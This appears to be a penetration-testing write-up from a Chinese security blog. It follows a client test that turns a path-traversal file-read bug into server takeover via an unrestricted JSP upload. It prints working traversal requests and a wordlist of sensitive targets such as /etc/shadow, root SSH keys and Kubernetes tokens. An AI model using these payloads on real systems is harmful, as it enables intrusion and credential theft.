从任意文件读取到代码审计获取权限
记录一次给客户日常安全测试过程中,通过一个任意文件读取漏洞到最后获取到服务器权限过程,文章中涉及相关都打码,避免泄露客户信息。
任意文件读取
在使用yakit抓包测试时,发现了一处URL链接 Download.action?filename=xxx.pdf&filepath=/Uploads/2020/xxx.pdf
猜测可能会存在文件读取漏洞,并在filename
和filepath
参数 fuzz
filename=/etc/passwd
filename=../../../etc/passwd
filepath=../../../etc/passwd
都没有成功获取到想要/etc/passwd
文件内容,一直fuzz 参数,在 filepath
中带上 /Uploads/2020/
路径才可以跨目录读取/etc/passwd
文件。
Download.action?filename=&filepath=/Uploads/2020/../../../../../../etc/passwd
通过读取/etc/shadow
知道该接口读取文件的权限是root的,接下来直接跑字典就Ok了。
yakit搭配字典批量跑可能存在的文件,一般自用的Linux字典如下:
/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/plocate/plocate.db
/var/lib/mlocate.db
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/fstab
/etc/host.conf
/var/log/xferlog
/var/log/cron
/etc/(cron.d/|crontab)
/var/log/secure
/etc/rc.local
/etc/sysctl.conf
/var/log/syslog
/etc/environment
/etc/inputrc
/etc/default/useradd
/etc/login.defs
/etc/skel
/sbin/nologin
/var/log/message
/etc/httpd/conf/httpd.conf
/etc/mtab
/etc/ld.so.conf
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/porc/config.gz
/var/lib/mlocate/mlocate.db
/porc/self/cmdline
tomcat/conf/server.xml
tomcat/webapps/ROOT/WEB-INF/classes/database.properties
tomcat/conf/tomcat-users.xml
/var/lib/mlocate/mlocate.db
通过 /var/lib/mlocate/mlocate.db
文件获取到服务器所有的目录和文件路径
Download.action?filename=&filepath=/2022/../../../../../../var/lib/mlocate/mlocate.db
并且从mlocate.db
中发现运维人员打包的网站源码bak.zip
使用文件读取漏洞将bak.zip
读取下载下来
代码审计-任意文件上传漏洞
有代码了,直接开始审计 ,通过关键字搜索 filepath,upload等,发现到一个UploadFile
方法存在任意文件上传
代码中没有任何对文件上传格式和内容的限制,直接上传jsp
高高兴兴的构造接口上传jsp,也成功上传了,路径也返回,访问jsp文件路径时竟然提示没有权限跳转登录页面了,哈??
测试上传txt,html格式都能正常访问,唯独jsp文件有问题,猜测对 /uploads/
目录中的 jsp文件进行了限制
接着研究代码,filePath可控,我们将上传的文件跨目录上传,将jsp 上传到其他目录试试
所以我找一个help目录,filePath
上传文件路径可控,使用../
跨目录上传到help
目录下,成功上传返回路径
写报告给客户了,安服仔下班下班。
总结
-
从任意文件读取漏洞到获取代码,这一过程并不是很顺利,也花了好多时间;在代码审计时,代码数量太多了,只能通过关键字方式来查找,效率太低了。
-
在代码审计到文件上传时,还是开心,但是jsp访问被限制时,想放弃了时发现filepath路径可控,才想起来跨目录上传jsp,最后成功拿下机器。
附上微信群,交流技术和划水聊天等,公众号发送关键字 “ 加群 ” 可获取二维码或者扫描下面二维码。
原文始发于微信公众号(安全逐梦人):从任意文件读取到代码审计获取权限